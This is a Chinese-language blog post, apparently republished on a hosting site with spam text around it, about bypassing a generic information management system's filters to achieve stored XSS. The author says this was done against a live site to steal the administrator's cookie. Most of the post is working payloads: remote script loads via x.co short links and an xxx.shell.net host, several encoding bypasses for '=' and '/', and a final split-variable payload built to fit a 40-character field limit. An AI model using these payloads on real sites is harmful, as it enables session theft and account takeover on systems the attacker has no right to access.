中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

繞過某通用信息管理系統實現XSS

發布時間:2021-11-23 22:49:38 來源:億速云 閱讀:150 作者:柒染 欄目:網絡安全

這篇文章將為大家詳細講解有關繞過某通用信息管理系統實現XSS,文章內容質量較高,因此小編分享給大家做個參考,希望大家閱讀完這篇文章后對相關知識有一定的了解。

序言

實戰滲透某站點時遇到的,經過幾天研究最終成功繞過限制并打到管理員cookie,特此記錄下備忘。將一些瑣碎的trick和知識點進行了有機結合與綜合實踐,希望本文能對讀者有所幫助,若有謬誤,還請指正。

準備工作

首先看看站點,事先測過了SQL等漏洞,這里只測試XSS。

繞過某通用信息管理系統實現XSS

先嘗試填充一些正常數據以判斷是否會回顯payload,經過測試,該站點提交信息會直接跳轉回首頁,無法查看payload解析執行情況。

注意:測試xss時往往不要一上來就懟<script>/:..等危險字符,有暴露滲透行為的風險且難以控制頁面顯示情況。

看不到回顯難道就要盲打嘛?

這里提供一個思路:嘗試獲取該系統的源碼并本地搭建進行測試。

好的,既然思路明確了,我們就嘗試去獲取該系統的源碼。

  1. 掃描敏感目錄及文件,查看是否存在.git / .svn等代碼工程文件,如果存在的話,是  可以直接通過該敏感文件還原出系統源碼的。

相關工具:https://github.com/lijiejie/GitHack

Seay-svn 還原工具,大家可以自行下載

  1. 從源碼本身著手,尋找版權相關信息,之后去網上尋找并下載源碼。

滲透該站時便使用了方法2,嘗試訪問后臺時網頁便爆出了我們想要的信息。

繞過某通用信息管理系統實現XSS

搜索相關源碼并下載,成功在本地搭建。

繞過某通用信息管理系統實現XSS

好了,這樣我們就可以放心測試xss了。

好戲開演

準備好payload:

<script src="http://x.co/qwq"></script>

這里推薦一個網站縮短服務:

x.co

訪問設置url即可

繞過某通用信息管理系統實現XSS

要是有更短的網址縮短服務可以留言分享下,畢竟在測試xss中有時僅僅縮短一個字符便能決定滲透成功與否。

提交payload后我們到后臺查看效果。

繞過某通用信息管理系統實現XSS

對比一下:

<script src="http://x.co/qwq"></script><script src"http:  x.co  qwq"></script>

可以發現= 與url中的‘/’被過濾掉

并且頁面解析了我們的<script>標簽

這里有個技巧:

使用chrome等瀏覽器的開發者工具查看源代碼時,如果標簽是彩色的,說明被解析了,如果是黑色的,則標簽已被轉義而不是解析。

那么我們便來考慮如何繞過限制。

  1. 使用其他不包含= / 的標簽進行xss

  2. 編碼繞過

先從思路1入手:

”=”符合常見于屬性處,而絕大多數xsspayload所運用的便是標簽的屬性,想找到一個不使用”=”的標簽并不容易。

但是還是存在幾個特例的

<script>document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,120,46,99,111,47,120,105,72,118,62,60,47,115,99,114,105,112,116,62));</script>        ascii編碼繞過<script>eval(Dec('203041263543203','2549'));</script><STYLE>@im\port'\ja\vasc\ript:alert("X3SS")';</STYLE>.....

其實這里就已經結合了編碼繞過的思路,故不再贅述編碼繞過

我們這里使用第一個payload,該payload完美的繞過了“=”與“/”的限制,因為特殊符號全被編碼成了對應的ascii碼

提交payload,到后臺查看效果

繞過某通用信息管理系統實現XSS

顯然,我們的payload執行成功。

你以為這樣就完了嗎??

我們現在去目標站測試下

繞過某通用信息管理系統實現XSS

再看看payload的長度

繞過某通用信息管理系統實現XSS

所以好戲才剛剛開始啊...

也許有讀者會問為什么同樣的payload卻遇到了限制呢?

這點可以在管理后臺獲得解答。繞過某通用信息管理系統實現XSS

說明目標站的數據項做了長度限制。經過測試,目標站所有的數據項長度都被限制到了40個字符,那么我們來考慮繞過。

這里提供一種巧妙的思路:payload分割起來并儲存在相應的變量中,拼接變量后執行。

所用的payload一般為:

<script>z='document.'</script>  <script>z=z+'write("'</script>  <script>z=z+'<script'</script>  <script>z=z+' src=ht'</script>  <script>z=z+'tp://xx'</script>  <script>z=z+'x.shell'</script>  <script>z=z+'.net/1.'</script>  <script>z=z+'js></sc'</script>  <script>z=z+'ript>")'</script>  <script>eval_r(z)</script>

注:此payload要求所有字符注入進同一頁面。

思路確定了,但是對于目標系統來說,該如何繞過’=’與’/’的限制呢?

之前提過,使用編碼繞過特殊字符是一座較為有效的思路,那么我們便考慮將分割注入與編碼這兩種思路相結合。

補充知識:

Unicode編碼繞過

<img src="x" onerror="&amp#97;&amp#108;&amp#101;&amp#114;&amp#116;&amp#40;&amp#34;&amp#120;&amp#115;&amp#115;&amp#34;&amp#41;&amp#59;"><img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">

url編碼繞過

<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))"><iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>

Ascii碼繞過

<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">

hex繞過

<imgsrc=xonerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>

八進制

<imgsrc=x onerror=alert('\170\163\163')>

base64繞過

<imgsrc="x"onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))"><iframesrc="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

通過觀察我們可以發現,url編碼,ascii編碼,base64編碼后的字符在執行時需要相應函數或方法進行解碼,無疑增加了payload的長度,反而在整體長度有限制的情況下不利于執行。

那么有沒有一種可被直接解析并且編碼后長度適中的編碼方式呢?

有!

hex編碼8進制unicode編碼!

以unicode編碼為例(原理與hex,8進制大同小異,有興趣的讀者可以自行測試)

我們先將’=’替換掉

<script>eval(z\u003d'document.')</script><script>eval(z\u003dz+'write("')</script><script>eval(z\u003dz+'<script')</script><script>eval(z\u003dz+'src=ht')</script><script>eval(z\u003dz+'tp://xx')</script><script>eval(z\u003dz+'x.shell')</script><script>eval(z\u003dz+'.net/1.')</script><script>eval(z\u003dz+'js></sc')</script><script>eval(z\u003dz+'ript>")')</script><script>eval_r(z)</script>

注:

  1. 使用unicode,hex,8進制等編碼時需要用到eval()函數

  2. 其實這里的payload并不可用,還需要經過處理,只是為了展現思路歷程

下一步處理一些細節:

  1. eval內的引號需要轉義

  2. 進一步的縮短payload

請大家思考:

只用一個變量z進行存儲,在之后的每一步中拼接字符串是否為最優的方法?

個人認為,在總長度允許的情況下,可以將不同的payload存儲在不同的變量中,

例如:

<script>eval('a\u003d\'docu\'')</script><script>eval('b\u003d\'ment\'')</script><script>eval('c\u003d\'.wri\'')</script><script>eval('d\u003d\'te("\'')</script><script>eval('e\u003d\'<scr\'')</script>

這樣便可以省去”z+”這兩個字符

最后進行拼接

<script>eval('z\u003da+b+c+d+e')</script>

拼接字符時只是單純的變量加減,并不需要轉義等復雜操作增添新的字符,payload的長度還在可以接受的范圍內。

如果讀者對整個過程存在疑問,推薦自己寫一個過濾掉“=”與url中“/”的環境進行測試,能幫助你更好的理解本文。

貼一下最終的payload:

<script>eval('a\u003d\'docu\'')</script><script>eval('b\u003d\'ment\'')</script><script>eval('c\u003d\'.wri\'')</script><script>eval('d\u003d\'te("\'')</script><script>eval('e\u003d\'<scr\'')</script><script>eval('f\u003d\'ipt\'')</script><script>eval('g\u003d\'src\'')</script><script>eval('p\x3d\'\x3d\'')</script><script>eval('h\u003d\'http\'')</script><script>eval('i\u003d\'://x\'')</script><script>eval('j\u003d\'.co/\'')</script><script>eval('k\u003d\'6nx2\'')</script><script>eval('l\u003d\'r></\'')</script><script>eval('m\u003d\'scri\'')</script><script>eval('n\u003d\'pt>"\'')</script><script>eval('o\u003d\')\'')</script><script>eval('z\x3da+b+c+d+e')</script><script>eval('z\x3dz+f+g+p+h')</script><script>eval('z\x3dz+i+j+k+l')</script><script>eval('z\x3dz+m+n+o')</script><script>eval(eval('z'))</script>

你以為這樣就完了嗎?不!還沒完!

我們提交下該payload

繞過某通用信息管理系統實現XSS

為什么會報錯某些變量沒有被定義呢?

我們的payload在本地chrome測試是完美成功的啊

不應該存在語法上的錯誤啊

這就要講到另一個知識點了:

原來JS引擎并非一行行去分析和執行程序,而是一段一段的執行(如3),而且在同一段程序的分析執行中,定義式的函數語句會被優先執行。函數定義執行完以后才會按順序執行其他語句代碼。

在經過預處理后,js引擎才會從上到下依次執行。

想想我們的注入順序?

<script>eval('a\u003d\'docu\'')</script><script>eval('b\u003d\'ment\'')</script><script>eval('c\u003d\'.wri\'')</script><script>eval('d\u003d\'te("\'')</script><script>eval('e\u003d\'<scr\'')</script><script>eval('f\u003d\'ipt\'')</script><script>eval('g\u003d\'src\'')</script><script>eval('p\x3d\'\x3d\'')</script><script>eval('h\u003d\'http\'')</script><script>eval('i\u003d\'://x\'')</script><script>eval('j\u003d\'.co/\'')</script><script>eval('k\u003d\'6nx2\'')</script><script>eval('l\u003d\'r></\'')</script><script>eval('m\u003d\'scri\'')</script><script>eval('n\u003d\'pt>"\'')</script><script>eval('o\u003d\')\'')</script><script>eval('z\x3da+b+c+d+e')</script><script>eval('z\x3dz+f+g+p+h')</script><script>eval('z\x3dz+i+j+k+l')</script><script>eval('z\x3dz+m+n+o')</script><script>eval(eval('z'))</script>

繞過某通用信息管理系統實現XSS

最終執行變量的語句卻放在了頁面上端,js引擎在執行時自然會報錯。

所以把之前的payload倒序注入即可。(相信我這真的是最后一次了)

成功打到cookie.

繞過某通用信息管理系統實現XSS

關于繞過某通用信息管理系統實現XSS就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

xss
AI

深州市| 奈曼旗| 卢氏县| 永靖县| 澳门| 乌兰察布市| 邹平县| 阜南县| 和龙市| 永顺县| 哈尔滨市| 鸡西市| 昌黎县| 巴中市| 广饶县| 石棉县| 天水市| 沈阳市| 霞浦县| 沾化县| 东阿县| 名山县| 汉阴县| 赞皇县| 武川县| 交口县| 高台县| 澄江县| 安乡县| 江西省| 法库县| 蒲城县| 隆安县| 忻城县| 沙河市| 九龙城区| 奇台县| 宁津县| 库尔勒市| 万安县| 宁南县|